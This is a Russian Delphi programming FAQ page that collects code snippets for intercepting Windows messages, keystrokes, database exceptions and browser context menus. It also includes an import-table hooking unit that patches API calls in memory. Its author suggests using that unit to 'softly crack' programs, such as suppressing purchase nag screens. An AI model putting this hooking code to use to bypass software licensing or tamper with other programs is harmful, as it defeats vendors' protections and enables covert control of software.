Оригинальный DVD-ROM: eXeL@B DVD !
eXeL@B ВИДЕОКУРС !

ВИДЕОКУРС ВЗЛОМ
выпущен 10 декабря!


УЗНАТЬ БОЛЬШЕ >>
Домой | Статьи | RAR-cтатьи | FAQ | Форум | Скачать | Видеокурс
Новичку | Ссылки | Программирование | Интервью | Архив | Связь

БОЛЬШОЙ FAQ ПО DELPHI



Как перехватить нажатие Ctrl+Alt+Del

Автор: Watcher

3 кнопки, которые потрясли DOS

В WinNT есть Dll называемая GINA DLL. Так вот - это Dll, которая отвечает за вход юзера в систему и другие вещи. Например то окошко которое показываеться при нажатии ctrl+alt+del... Эту Dll Microsoft сделал заменяемой - то есть можна написать свою и заменить весь процесс входа юзера в систему. Так, например, делает Novell Netware. Gina Dll экспортирует примерно 15 функций, которые нужно описать. Одна из них вызывается WinLogon в ответ на нажатие ctrl+alt+del. В нашем случае можна сделать Dll которая все вызовы переадресовует стандартной (msgina.dll), а тот который нам нужно написать самому. Хэлп есть в MSDN. Там такжэ есть экзампл готовой Dll и StubDll.




Отловить сообщение в компоненте

Кот схватил мышку за хвост...
... и своротил со стола комп!


 {*************************************************************************}
 
 {
   TApplication besitzt eine Methode HookMainWindow.
   Damit kann man in die Windows Prozedur (WndProc) "einhaken" und Nachrichten,
   welche an die Applikation geschickt werden, abfangen und behandeln.
 
   HookMainWindow is wie folgt deklariert:
 }
 
 procedure HookMainWindow(Hook : TWindowHook);
 
 { Und der Parameter TWindowHook (Methoden Pointer) so: }
 
 type
   TWindowHook = function(var Message : TMessage) : Boolean of object;
 
 
 {*************************************************************************}
 
 unit MessageReceiver;
 
 interface
 
 uses
   Windows, Messages, SysUtils, Classes, Forms, Dialogs;
 
 type
   TOnReceiveUserMessage = procedure(Msg: Cardinal; wParam, lParam: Integer;
     var Handled: Boolean) of object;
   TOnReceiveOtherMessage = procedure(var Handled: Boolean) of object;
 
   TMessageReceiver = class(TComponent)
   private
     { Private declarations }
     FHooked: Boolean;
 
     FOnReceiveUserMessage: TOnReceiveUserMessage;
     FOnDateTimeChange: TOnReceiveOtherMessage;
 
     function MessageHook(var Msg: TMessage): Boolean;
   protected
     function DoDateTimeChange(Msg: TMessage): Boolean; dynamic;
     function DoUserMessage(Msg: TMessage): Boolean; dynamic;
   public
     { Public declarations }
     constructor Create(AOwner: TComponent); override;
     destructor Destroy; override;
   published
     { Published declarations }
     property OnDateTimeChange: TOnReceiveOtherMessage
       read FOnDateTimeChange write FOnDateTimeChange;
     property OnReceiveUserMessage: TOnReceiveUserMessage
       read FOnReceiveUserMessage write FOnReceiveUserMessage;
   end;
 
 procedure Register;
 
 implementation
 
 procedure Register;
 begin
   RegisterComponents('System', [TMessageReceiver]);
 end;
 
 function TMessageReceiver.MessageHook(var Msg: TMessage): Boolean;
 begin
   Result := False;
   // User defined messages 
   if (Msg.Msg >= WM_USER) then
     Result := DoUserMessage(Msg)
   else
     // Other messages 
     case Msg.Msg of
       WM_TIMECHANGE: Result := DoDateTimeChange(Msg);
       // ... 
     end;
 end;
 
 function TMessageReceiver.DoDateTimeChange(Msg : TMessage): Boolean;
 begin
   Result := False;
   if Assigned(FOnDateTimeChange) then
     FOnDateTimeChange(Result);
 end;
 
 function TMessageReceiver.DoUserMessage(Msg: TMessage): Boolean;
 begin
   Result := False;
   if Assigned(FOnReceiveUserMessage) then
     FOnReceiveUserMessage(Msg.Msg, Msg.wParam, Msg.LParam, Result);
 end;
 
 constructor TMessageReceiver.Create(AOwner: TComponent);
 begin
   inherited Create(AOwner);
   FHooked := False;
   if not (csDesigning in ComponentState) then
   begin
     Application.HookMainWindow(MessageHook);
     FHooked := True;
   end;
 end;
 
 destructor TMessageReceiver.Destroy;
 begin
   if FHooked then Application.UnhookMainWindow(MessageHook);
   inherited Destroy;
 end;
 
 end.
 




Перехват курсорных клавиш

Автор: Cheers, Julian (TeamB & TurboPower Software)


 procedure WMGetDlgCode(var Msg : TMessage); message WM_GETDLGCODE;
 
 ...
 
 procedure TMyControl.WMGetDlgCode(var Msg : TMessage);
 begin
   Msg.Result := DLGC_WANTARROWS;
 end;
 




Перехват курсорных клавиш 2

Автор: Robert Wittig

Вы можете перехватывать нажатие курсорных клавиш на уровне приложения:

Создайте HandleMessages как метод формы и затем назначьте его Application.HandleMessages.


 procedure tForm1.HandleMessages(var Msg: tMsg; var Handled: Boolean);
 begin
   if (Msg.Message = WM_KeyDown) and
     (Msg.wParam in [VK_UP, VK_DOWN, VK_LEFT, VK_RIGHT]) then
   begin
     case Msg.wParam of
       VK_UP: ShowMessage('Нажата стрелка вверх');
       VK_DOWN: ShowMessage('Нажата стрелка вниз');
       VK_LEFT: ShowMessage('Нажата стрелка влево');
       VK_RIGHT: ShowMessage('Нажата стрелка вправо');
     end;
     Handled := True;
   end;
 end;
 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   Application.OnMessage := HandleMessages;
 end;
 




Перехват ошибок DBEngine

Автор: Eryk

Компьютер - это электронное устройство, которое не заменит человека до тех пор, пока не научится смеяться над шутками босса и сваливать свои собственные ошибки на соседний компьютер.

Ошибки общего характера, типа Key Violation или конфликты блокировки лучше всего обрабатывать в обработчике события Application.OnException ...например:


 {Секция Interface}
 procedure HandleException(Sender: TObject; E: Exception);
 ...
 
 {Секция Implementation}
 procedure TForm1.HandleException(Sender: TObject; E: Exception);
 var
   err: DBIResult;
 begin
 
   if E is EDBEngineError then
   begin
     err := (E as EDBEngineError).errors[(E as EDBEngineError).errorcount -
       1].errorcode;
     if (err = DBIERR_KEYVIOL) then
       showMessage('Ошибка Key violation!')
     else if (err = DBIERR_LOCKED) then
       showmessage('Запись блокирована другим пользователем')
     else if (err = DBIERR_FILELOCKED) then
       showmessage('Таблица блокирована кем-то еще')
     else
       showmessage('Другая ошибка DB')
   end
   else
     showmessage('Упс!: ' + E.Message);
 end;
 

...'инсталлировать' обработчик исключений можно так:


 procedure TForm1.FormCreate(Sender: TObject);
 begin
   Application.onException:=HandleException;
 end;
 

Для использования предопределенных констант ошибок ('DBIERR_etc.'), вам необходимо включить DBIERRS в список используемых модулей. Полный список кодов ошибок при работе с базами данных вы можете найти в файле DBIERRS.INT, расположенном в каталоге :\DELPHI\DOC.




Перехват исключений базы данных


 Try
   Tabl.Post;
 Except
   Begin
     On EDatabaseError do
       ShowMessage('Не могу отправить данные (выполнить Post)');
     (Sender AS TDBEdit).SetFocus;
   End; {Begin}
 End, {Try}
 

Я осуществляю синтаксический разбор Error и вновь генерирую исключение (передаю по иерархии следующему обработчику объектов исключительных ситуаций), если я больше не хочу иметь с ним дела. Если использовать:


 On E : EDatabaseError do...
 

то можно получить значение E.Error. Реально, имя свойства с текстом ошибки должно быть похоже на что-то типа E.Message (уточните в электронной справке).


 On EDatabaseError do
 begin
   ShowMessage('Не могу отправить данные');
   Edit1.setFocus;
 end;
 




Перехват вызовов функций из динамических библиотек

Автор: Den is Com

В России запущенно производство принципиально новых программно-аппаратных средств для взлома систем под названием: "Plug & Fuck". Устройства и софт работают отлично.

// проверено и работает для WIN 9x и WinNT
// в юните на первый взгляд, есть структуры , описание которых уже есть в Дельфи , но к сожалению не
// всех и не во всех версиях Дельфи эти структуры присутствуют. Да уж, это не С

Проблема скорее для хакера, а не для программиста. Но существуют ситуации, когда это необходимо. Сложно предположить ситуацию, в которой это может понадобится, но например: можете перехватывать надоевшее окошко о необходимости купить компонент :) . Разумеется этот код предназначен для более широких целей и в более широком варианте позволяет контролировать работу внешней программы, производя "мягкий" взлом - изменения присходят только в памяти и не касаются исполняемого файла на диске. Разумеется можно использовать и для более светлых целей. При использовании данного исходника будьте осторожны: при компилировании пректа с динамическими пакетами перехватываемая функция может находится в пакете, а не в файле программы. Перед перехватом функции необходимо заменить её функцией-ловушкой. Например для MessageBox


 type
 
 TMyProc= function (hWnd: HWND; lpText, lpCaption:
   PAnsiChar; uType: UINT): Integer; stdcall;
 PTMyProc=^TMyProc;
 
 function MyMessageBox(hWnd: HWND; lpText, lpCaption:
   PAnsiChar; uType: UINT): Integer; stdcall;
 begin
   ShowMessage('Message intercepted');
   result:=IDOK;
 end;
 

и сам перехват происходит так


 InterceptDllCall(hInstance,'user32.dll','MessageBoxA',
 Pointer(@MyMessageBox),PPointer(@myProc),nil);
 

теперь все вызовы MessageBox будут ссылаться на нашу функцию :) Надеюсь вы помните, что функции MessageBox в user32.dll нет - это только оболочка для MessageBoxА

и обратная операция - восстановление работоспособности старой функции


 InterceptDllCall(hInstance,'user32.dll','MessageBoxA',
 Pointer(myProc),nil,Pointer(@MyMessageBox));
 

Привожу полностью все файлы проекта:


 // Intercep.pas
 
 unit intercep;
 
 interface
 uses windows, dialogs, SysUtils;
 type
 
   PImageDosHeader = ^TImageDosHeader;
   {EXTERNALSYM _IMAGE_DOS_HEADER}
   _IMAGE_DOS_HEADER = packed record { DOS .EXE header                  }
     e_magic: Word; { Magic number                     }
     e_cblp: Word; { Bytes on last page of file       }
     e_cp: Word; { Pages in file                    }
     e_crlc: Word; { Relocations                      }
     e_cparhdr: Word; { Size of header in paragraphs     }
     e_minalloc: Word; { Minimum extra paragraphs needed  }
     e_maxalloc: Word; { Maximum extra paragraphs needed  }
     e_ss: Word; { Initial (relative) SS value      }
     e_sp: Word; { Initial SP value                 }
     e_csum: Word; { Checksum                         }
     e_ip: Word; { Initial IP value                 }
     e_cs: Word; { Initial (relative) CS value      }
     e_lfarlc: Word; { File address of relocation table }
     e_ovno: Word; { Overlay number                   }
     e_res: array[0..3] of Word; { Reserved words                   }
     e_oemid: Word; { OEM identifier (for e_oeminfo)   }
     e_oeminfo: Word; { OEM information; e_oemid specific}
     e_res2: array[0..9] of Word; { Reserved words                   }
     e_lfanew: LongInt; { File address of new exe header   }
   end;
   TImageDosHeader = _IMAGE_DOS_HEADER;
   //  {$EXTERNALSYM IMAGE_DOS_HEADER}
 
   IMAGE_DOS_HEADER = _IMAGE_DOS_HEADER;
 
   //***************************************
   PImageDataDirectory = ^TImageDataDirectory;
   _IMAGE_DATA_DIRECTORY = record
     VirtualAddress: DWORD;
     Size: DWORD;
   end;
   //  {$EXTERNALSYM _IMAGE_DATA_DIRECTORY}
   TImageDataDirectory = _IMAGE_DATA_DIRECTORY;
   IMAGE_DATA_DIRECTORY = _IMAGE_DATA_DIRECTORY;
   //  {$EXTERNALSYM IMAGE_DATA_DIRECTORY}
 
   //*************
   PImageOptionalHeader = ^TImageOptionalHeader;
   _IMAGE_OPTIONAL_HEADER = packed record
     { Standard fields. }
     Magic: Word;
     MajorLinkerVersion: Byte;
     MinorLinkerVersion: Byte;
     SizeOfCode: DWORD;
     SizeOfInitializedData: DWORD;
     SizeOfUninitializedData: DWORD;
     AddressOfEntryPoint: DWORD;
     BaseOfCode: DWORD;
     BaseOfData: DWORD;
     { NT additional fields. }
     ImageBase: DWORD;
     SectionAlignment: DWORD;
     FileAlignment: DWORD;
     MajorOperatingSystemVersion: Word;
     MinorOperatingSystemVersion: Word;
     MajorImageVersion: Word;
     MinorImageVersion: Word;
     MajorSubsystemVersion: Word;
     MinorSubsystemVersion: Word;
     Win32VersionValue: DWORD;
     SizeOfImage: DWORD;
     SizeOfHeaders: DWORD;
     CheckSum: DWORD;
     Subsystem: Word;
     DllCharacteristics: Word;
     SizeOfStackReserve: DWORD;
     SizeOfStackCommit: DWORD;
     SizeOfHeapReserve: DWORD;
     SizeOfHeapCommit: DWORD;
     LoaderFlags: DWORD;
     NumberOfRvaAndSizes: DWORD;
     DataDirectory: packed array[0..IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1] of
       TImageDataDirectory;
   end;
   // {$EXTERNALSYM _IMAGE_OPTIONAL_HEADER}
   TImageOptionalHeader = _IMAGE_OPTIONAL_HEADER;
   IMAGE_OPTIONAL_HEADER = _IMAGE_OPTIONAL_HEADER;
   // {$EXTERNALSYM IMAGE_OPTIONAL_HEADER}
 
   PImageNtHeaders = ^TImageNtHeaders;
   _IMAGE_NT_HEADERS = packed record
     Signature: DWORD;
     FileHeader: TImageFileHeader;
     OptionalHeader: TImageOptionalHeader;
   end;
   // {$EXTERNALSYM _IMAGE_NT_HEADERS}
   TImageNtHeaders = _IMAGE_NT_HEADERS;
   IMAGE_NT_HEADERS = _IMAGE_NT_HEADERS;
   // {$EXTERNALSYM IMAGE_NT_HEADERS}
 
   PImage_import_by_name = ^TImage_import_by_mame;
   _IMAGE_IMPORT_BY_NAME = packed record
 
     Hint: Word;
     Name: Byte;
   end;
   TImage_import_by_mame = _IMAGE_IMPORT_BY_NAME;
 
   _u1 = packed record
     case Integer of
 
       0: (ForwarderString: PByte);
       1: (Functionn: PDWORD);
       2: (Ordinal: DWORD);
       3: (AddressOfData: PImage_import_by_name);
   end;
   PImageThunkData = ^TImageThunkData;
   _IMAGE_THUNK_DATA = packed record
 
     u1: _u1;
   end;
   TImageThunkData = _IMAGE_THUNK_DATA;
   IMAGE_THUNK_DATA = _IMAGE_THUNK_DATA;
 
   _temp_charcteristics = record
     case Integer of
       0: (Characteristics: DWORD); // 0 for terminating null import descriptor
       1: (OriginalFirstThunk: PImageThunkData); // RVA to original unbound IAT
   end;
 
   PImageImportDescriptor = ^TImageImportDescriptor;
   _IMAGE_IMPORT_DESCRIPTOR = packed record
 
     t: _temp_charcteristics;
     TimeDateStamp: DWord; // 0 if not bound,
     // -1 if bound, and real date\time stamp
     //     in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
     // O.W. date/time stamp of DLL bound to (Old BIND)
 
     ForwarderChain: DWORD; // -1 if no forwarders
     Name: DWORD;
     FirstThunk: PImageThunkData;
       // RVA to IAT (if bound this IAT has actual addresses)
   end;
   TImageImportDescriptor = _IMAGE_IMPORT_DESCRIPTOR;
   IMAGE_IMPORT_DESCRIPTOR = _IMAGE_IMPORT_DESCRIPTOR;
   PPointer = ^Pointer;
 function InterceptDllCall(
 
   hLocalModule: HModule;
   c_szDllName: Pchar;
   c_szApiName: PChar;
   pApiNew: Pointer;
   p_pApiOrg: PPointer;
   pApiToChange: Pointer): Boolean;
 implementation
 
 function MakePtr(base: Dword; Offset: DWORD): Pointer;
 begin
   Result := Pointer(Base + Offset);
 end;
 
 function InterceptDllCall(
 
   hLocalModule: HModule;
   c_szDllName: Pchar;
   c_szApiName: PChar;
   pApiNew: Pointer;
   p_pApiOrg: PPointer;
   pApiToChange: Pointer): Boolean;
 
 var
   pDosHeader: PImageDosHeader;
 
   pNtHeader: PImageNtHeaders;
   PImportDesc: PImageImportDescriptor;
   dwProtect: DWORD;
   dwNewProtect: DWORD;
   dwAddressToInterCept: DWORD;
   pThunk: PImageThunkData;
 begin
   pDosHeader := PImageDosHeader(hLocalModule);
   Result := False;
   if (pApiToChange <> nil) then
     dwAddressToIntercept := DWORD(pApiToChange)
   else
     dwAddressToIntercept := Dword(GetProcAddress(GetModuleHandle(c_szDllName),
       c_szApiName));
 
   if IsBadReadPtr(Pointer(hLocalModule), sizeof(PImageNtHeaders)) then
     Exit;
 
   if pDosHeader.e_magic <> IMAGE_DOS_SIGNATURE then
     exit;
   pNtHeader := PImageNtHeaders(MakePtr(DWord(pDOSHeader),
     DWord(pDOSHeader.e_lfanew)));
   if pNTHeader.signature <> IMAGE_NT_SIGNATURE then
     exit;
   pImportDesc := PImageImportDescriptor(
 
     MakePtr(hLocalModule,
     pNtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress));
 
   if (PImportDesc = PImageImportDescriptor(pNtHeader)) then
     exit;
 
   while (pImportDesc.Name > 0) do
   begin
 
     pThunk := PImageThunkData(MakePtr(DWord(hLocalModule),
       Dword(pImportDesc.FirstThunk)));
     while (pThunk.u1.Functionn <> nil) do
     begin
       if DWord(pThunk.u1.Functionn) = dwAddressToIntercept then
       begin
         if not IsBadWritePtr(Pointer(@pThunk.u1.Functionn), sizeof(DWORD)) then
         begin
           if (p_pApiOrg <> nil) then
             p_pApiOrg^ := Pointer(pThunk.u1.Functionn);
           pThunk.u1.Functionn := pApiNew;
           Result := True;
         end
         else
         begin
           if VirtualProtect(Pointer(@pThunk.u1.Functionn), sizeof(DWORD),
             PAGE_EXECUTE_READWRITE, @dwProtect) then
           begin
             if (p_pApiOrg <> nil) then
               p_pApiOrg^ := Pointer(pThunk.u1.Functionn);
             pThunk.u1.Functionn := PDWORD(pApiNew);
             Result := True;
             dwNewProtect := dwProtect;
             VirtualProtect(Pointer(@pThunk.u1.Functionn), sizeof(DWORD),
               dwNewProtect, @dwProtect);
           end;
         end;
       end;
       Inc(PThunk);
     end;
     Inc(pImportDEsc);
   end;
 end;
 
 end.
 
 // Project1.dpr
 
 program Project1;
 
 uses
   Forms,
   Unit1 in '..\..\Work\Temp\4\Unit1.pas' {Form1};
 
 {$R *.RES}
 
 begin
 
   Application.Initialize;
   Application.CreateForm(TForm1, Form1);
   Application.Run;
 end.
 
 // Unit1.dfm
 
 object Form1: TForm1
 
   Left = 192
     Top = 107
     Width = 435
     Height = 300
     Caption = 'Form1'
     Color = clBtnFace
     Font.Charset = DEFAULT_CHARSET
     Font.Color = clWindowText
     Font.Height = -11
     Font.Name = 'MS Sans Serif'
     Font.Style = []
     OldCreateOrder = False
     PixelsPerInch = 96
     TextHeight = 13
     object Button1: TButton
     Left = 72
       Top = 176
       Width = 273
       Height = 65
       Caption = 'Begin'
       Font.Charset = DEFAULT_CHARSET
       Font.Color = clWindowText
       Font.Height = -24
       Font.Name = 'MS Sans Serif'
       Font.Style = []
       ParentFont = False
       TabOrder = 0
       OnClick = Button1Click
   end
   object Button2: TButton
     Left = 304
       Top = 16
       Width = 105
       Height = 49
       Caption = 'MessageBox'
       TabOrder = 1
       OnClick = Button2Click
   end
 end
 
 // Unit1.pas
 
 unit Unit1;
 
 interface
 
 uses
 
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   StdCtrls, intercep;
 
 type
 
   TMyProc = function(hWnd: HWND; lpText, lpCaption: PAnsiChar; uType: UINT):
     Integer; stdcall;
   PTMyProc = ^TMyProc;
 
   TForm1 = class(TForm)
     Button1: TButton;
     Button2: TButton;
     procedure Button1Click(Sender: TObject);
     procedure Button2Click(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
   end;
 
 var
 
   Form1: TForm1;
   myProc: PTMyProc;
 implementation
 
 function MyMessageBox(hWnd: HWND; lpText, lpCaption: PAnsiChar; uType: UINT):
   Integer; stdcall;
 begin
   ShowMessage('Message intercepted');
 
   result := IDOK;
 end;
 {$R *.DFM}
 
 procedure TForm1.Button1Click(Sender: TObject);
 
 begin
   myProc := nil;
   MessageBox(0, 'Hello', 'Message 1', MB_OK);
   InterceptDllCall(hInstance, 'user32.dll', 'MessageBoxA',
     Pointer(@MyMessageBox), PPointer(@myProc), nil); //then ShowMessage('Ok');
   MessageBox(0, 'Hello', 'Message 2', MB_OK);
   InterceptDllCall(hInstance, 'user32.dll', 'MessageBoxA',
     Pointer(myProc), nil, Pointer(@MyMessageBox));
   MessageBox(0, 'Hello', 'Message 3 ', MB_OK);
 end;
 
 procedure TForm1.Button2Click(Sender: TObject);
 begin
   MessageBox(0, 'Hello', 'Message 4 ', MB_OK);
 end;
 
 end.
 




Перехват ошибки

Нет повести печальнее на свете, чем повесть о заклинившем Reset'е.


 procedure TForm1.FormCreate(Sender: TObject);
 begin
   Application.OnException := MyExcept;
 end;
 
 Procedure TForm1.MyExcept(Sender:TObject; E:Exception);
 begin
   If E is EDatabaseError then
     MessageDlg('Перехвачено исключение', mtInformation, [mbOk], 0)
   else
     { если это не та ошибка, которую вы ищете,
       передайте на обработку дальше }
 end;
 




Простой способ перехватить Exception

Создайте метод для формы, перехватывающий исключения. Этот метод будет вызываться обработчиком OnException объекта Application. В вашем методе проверьте, тот ли это исключение, что вы ожидаете, например EDatabaseError. Почитайте on-line help для события OnException. Там есть информация, как вызвать собственный метод для события.


 procedure TForm1.MyExcept(Sender: TObject; E: Exception);
 begin
   if E is EDatabaseError then
     MessageDlg('Поймали exception',
       mtInformation, [mbOk], 0)
       { это не то, сделать raise }
   else
     raise E;
 end;
 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   Application.OnException := MyExcept;
   { здесь вы указываете, что событие OnException выполнит ваш метод }
 end;
 




Перехватить WM_CONTEXTMENU в TWebBrowser

Звонок в офис провайдера интернет:
- Алло! Это интернет?
- Да, слушаем Вас!
- Соедините с www.yahoo.com.

Перехват меню (ТОЛЬКО БЛОКИРОВКА):


 var
  HookID: THandle;
 
 function MouseProc(nCode: Integer; wParam, lParam: Longint): Longint; stdcall;
 var
  szClassName: array[0..255] of Char;
 const
  ie_name = 'Internet Explorer_Server';
 begin
  case nCode < 0 of
    True:
      Result := CallNextHookEx(HookID, nCode, wParam, lParam)
      else
        case wParam of
          WM_RBUTTONDOWN,
          WM_RBUTTONUP:
            begin
              GetClassName(PMOUSEHOOKSTRUCT(lParam)^.HWND, szClassName, SizeOf(szClassName));
              if lstrcmp(@szClassName[0], @ie_name[1]) = 0 then
                Result := HC_SKIP
              else
                Result := CallNextHookEx(HookID, nCode, wParam, lParam);
            end
            else
              Result := CallNextHookEx(HookID, nCode, wParam, lParam);
        end;
  end;
 end;
 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
  HookID := SetWindowsHookEx(WH_MOUSE, MouseProc, 0, GetCurrentThreadId());
 end;
 
 procedure TForm1.FormDestroy(Sender: TObject);
 begin
  if HookID <> 0 then
    UnHookWindowsHookEx(HookID);
 end;
 
 Здесь по замыслу автора меню подменяется своим, но у меня не сработало (почему, не  разбирался):
 
 // Для преобразования кликов правой кнопкой в клики левой,  раскомментировать
 
 // {$DEFINE __R_TO_L}
 
 implementation
 
 uses Windows,Controls,Messages,ShDocVw;
 
 var
  HMouseHook:THandle;
 
 function MouseProc(
    nCode: Integer;     // hook code
    WP: wParam; // message identifier
    LP: lParam  // mouse coordinates
   ):Integer;stdcall;
 var MHS:TMOUSEHOOKSTRUCT;
    WC:TWinControl;
 {$ifdef __R_TO_L}
    P:TPoint;
 {$endif}
 begin
  Result:=CallNextHookEx(HMouseHook,nCode,WP,LP);
  if nCode=HC_ACTION then
   begin
     MHS:=PMOUSEHOOKSTRUCT(LP)^;
     if ((WP=WM_RBUTTONDOWN) or (WP=WM_RBUTTONUP)) then
      begin
        WC:=FindVCLWindow(MHS.pt);
        if (WC is TWebBrowser) then
        begin
          Result:=1;
 {$ifdef __R_TO_L}
          P:=WC.ScreenToClient(MHS.pt);
          if WP=WM_RBUTTONDOWN
          then PostMessage(MHS.hwnd,WM_LBUTTONDOWN,0,P.x + P.y shl 16);
 
          if WP=WM_RBUTTONUP
          then PostMessage(MHS.hwnd,WM_LBUTTONUP,0,P.x + P.y shl 16);
 {$endif}
          if (TWebBrowser(WC).PopupMenu<>nil) and  (WP=WM_RBUTTONUP) then
           begin
            TWebBrowser(WC).PopupMenu.PopupComponent:=WC;
            TWebBrowser(WC).PopupMenu.Popup(MHS.pt.x,MHS.pt.y);
           end;
        end;
      end;
   end;
 end;
 
 initialization
 
 
 HMouseHook:=SetWindowsHookEx(WH_MOUSE,@MouseProc,HInstance,GetCurrentThreadID);
 
 finalization
 
  CloseHandle(HMouseHook);
 
 end.
 

Предлагаю свой вариант, взято с Королевства, но немного переделано из-за глюкавости. Для использования достаточно подключить юнит в Uses и все (Исправлены глюки, которые досаждали)!


 unit WbPopup;
 
 interface
 
 implementation
 
 uses Windows,Controls,Messages,ShDocVw, Forms, frmMain;
 
 var
  HMouseHook:THandle;
  Pop: Boolean;
 
 function MouseProc(
    nCode: Integer;     // hook code
    WP: wParam; // message identifier
    LP: lParam  // mouse coordinates
   ):Integer;stdcall;
 var MHS:TMOUSEHOOKSTRUCT;
    WC:TWinControl;
 begin
  Result:=CallNextHookEx(HMouseHook,nCode,WP,LP);
  if nCode=HC_ACTION then
   begin
     MHS:=PMOUSEHOOKSTRUCT(LP)^;
     if ((WP=WM_RBUTTONDOWN) or (WP=WM_RBUTTONUP)) then
      begin
        WC:=FindVCLWindow(MHS.pt);
        if (WC is TWebBrowser) then
        begin
          Result:=1;
          if (TWebBrowser(WC).PopupMenu<>nil) and (WP=WM_RBUTTONUP) then
           begin
            if Pop then Exit;
            Pop := True;
            TWebBrowser(WC).PopupMenu.Popup(MHS.pt.x,MHS.pt.y);
            Pop := False;
           end;
        end;
      end;
   end;
 end;
 
 initialization
 
 
 HMouseHook:=SetWindowsHookEx(WH_MOUSE,@MouseProc,HInstance,GetCurrentThreadID);
 
 finalization
 try
  UnhookWindowsHookEx(HMouseHook);
  Sleep(100);
  CloseHandle(HMouseHook);
 except
 
 end;
 end.
 




Перехват событий дочерних MDI-форм


 procedure TMainForm.FormCreate(Sender: TObject);
 begin
   {  здесь разместите код FormCreate  }
   Screen.OnActiveFormChange := UpdateObjectss;
   {  и здесь тоже, если нужно...  }
 end;
 
 procedure TMainForm.UpdateObjects(Sender: TObject);
 begin
   <имяобъекта>.Enabled := MDIChildCount > 0;
 end;
 

(MDIChildCount > 0) возвращает true, если открыто _любое_ дочернее окно, и false в противном случае. Так, вы не должны беспокоиться о количестве открытых дочерних окон.




Перехватывать сообщения Windows до Application.Run

Пример проекта показывает, как получить и обработать сообщения Windows до Application.Run. Это редкий случай, в большинстве случаев переопределение процедуры Application.OnMessage будет делать то же самое.


 program Project1;
 
 uses
   Forms,
   Unit1 in 'UNIT1.PAS' { Form1 },
   Messages, WinTypes, WinProcs,
 
 {$R *.RES}
 
 var
   OldWndProc: TFarProc;
 
 function NewWndProc(hWndAppl: HWnd; Msg, wParam: Word; lParam: Longint):
   Longint; export;
 begin
   { default WndProc return value }
   Result := 0;
   { handle messages here; the message number is in Msg }
   Result := CallWindowProc(OldWndProc, hWndAppl, Msg, wParam, lParam);
 end;
 
 begin
   Application.CreateForm(TForm1, Form1);
   OldWndProc := TFarProc(GetWindowLong(Application.Handle, GWL_WNDPROC));
   SetWindowLong(Application.Handle, GWL_WNDPROC, Longint(@NewWndProc));
   Application.Run;
 end.
 




Как перехватить события в неклиентской области формы, в заголовке окна, например

Создайте обработчик одного из сообщений WM_NC


 unit Unit1;
 
 interface
 
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls,
   Forms, Dialogs, StdCtrls;
 
 type
   TForm1 = class(TForm)
   private
     {Private declarations}
     procedure WMNCMOUSEMOVE(var message: TMessage); message WM_NCMOUSEMOVE;
   public
     {Public declarations}
 end;
 
 var
   Form1: TForm1;
 
 implementation
 {$R *.DFM}
 
 procedure TForm1.WMNCMOUSEMOVE(var message: TMessage);
 var
   s: string;
 begin
   case message.wParam of
     HTERROR: s:= 'HTERROR';
     HTTRANSPARENT: s:= 'HTTRANSPARENT';
     HTNOWHERE: s:= 'HTNOWHERE';
     HTCLIENT: s:= 'HTCLIENT';
     HTCAPTION: s:= 'HTCAPTION';
     HTSYSMENU: s:= 'HTSYSMENU';
     HTSIZE: s:= 'HTSIZE';
     HTMENU: s:= 'HTMENU';
     HTHSCROLL: s:= 'HTHSCROLL';
     HTVSCROLL: s:= 'HTVSCROLL';
     HTMINBUTTON: s:= 'HTMINBUTTON';
     HTMAXBUTTON: s:= 'HTMAXBUTTON';
     HTLEFT: s:= 'HTLEFT';
     HTRIGHT: s:= 'HTRIGHT';
     HTTOP: s := 'HTTOP';
     HTTOPLEFT: s:= 'HTTOPLEFT';
     HTTOPRIGHT: s:= 'HTTOPRIGHT';
     HTBOTTOM: s:= 'HTBOTTOM';
     HTBOTTOMLEFT: s:= 'HTBOTTOMLEFT';
     HTBOTTOMRIGHT: s:= 'HTBOTTOMRIGHT';
     HTBORDER: s:= 'HTBORDER';
     HTOBJECT: s:= 'HTOBJECT';
     HTCLOSE: s:= 'HTCLOSE';
     HTHELP: s:= 'HTHELP';
     else
       s:= '';
   end;
   Form1.Caption := s;
   message.Result := 0;
 end;
 
 end.
 

Источник: DelphiWorld



Как поймать свой RAISEERROR в Delphi

Автор: Nomadic

Плох тот Error, который не мечтает стать General'ом.


 procedure TFDMUtils.GeneralError(DataSet: TDataSet; E: EDatabaseError; var
   Action: TDataAction);
 var
   i: Word;
   ExtInfo: string;
 begin
   ExtInfo := '';
 
   if (E is EDBEngineError) then
   begin
     if (EDBEngineError(E).Errors[0].NativeError = 0) then
     begin // Local Error
       if EDBEngineError(E).Errors[0].Errorcode = 9732 then
         ExtInfo := DataSet.FieldByName(trim(copy(E.Message, 29,
           20))).DisplayLabel;
       .......................................
     end
     else
     begin // Remote SQL Server error
       ExtInfo := ExtractFieldLabels(DataSet, E.Message);
       case EDBEngineError(E).Errors[0].NativeError of
         233, 515:
           Alert('Ошибка', 'Hе все поля заполнены ! ' + ExtInfo);
         547:
           if (StrPos(PChar(E.Message), PChar('DELETE')) <> nil) then
             Alert('Ошибка пpи удалении',
               'Имеются подчиненные записи, удаление (изменение) невозможно! ' +
               ExtInfo)
           else if (StrPos(PChar(E.Message), PChar('INSERT')) <> nil) then
             Alert('Ошибка пpи вставке', 'Отсутствует запись в МАСТЕР-таблице! '
               + ExtInfo)
           else if (StrPos(PChar(E.Message), PChar('UPDATE')) <> nil) then
             Alert('Ошибка пpи обновлении',
               'Отсутствует запись в МАСТЕР-таблице! ' + ExtInfo);
         2601:
           Alert('Ошибка', 'Такая запись уже есть!');
       else
         Alert('Ошибка', 'Hеизвестная ошибка, код - ' +
           inttostr(EDBEngineError(E).Errors[0].NativeError) + ExtInfo);
       end;
     end;
   end;
 end;
 

Этот код был заточен под MSSQL, но не нужно пытаться его использовать, а лучше по этому пpимеpу написать свою процедуру.




Прерывание клавиши Tab

Автор: Ralph Friedman

Единственное место в программе, где можно перехватить нажатие клавиши tab - в обработчике Application.OnMessages. Пример ниже:


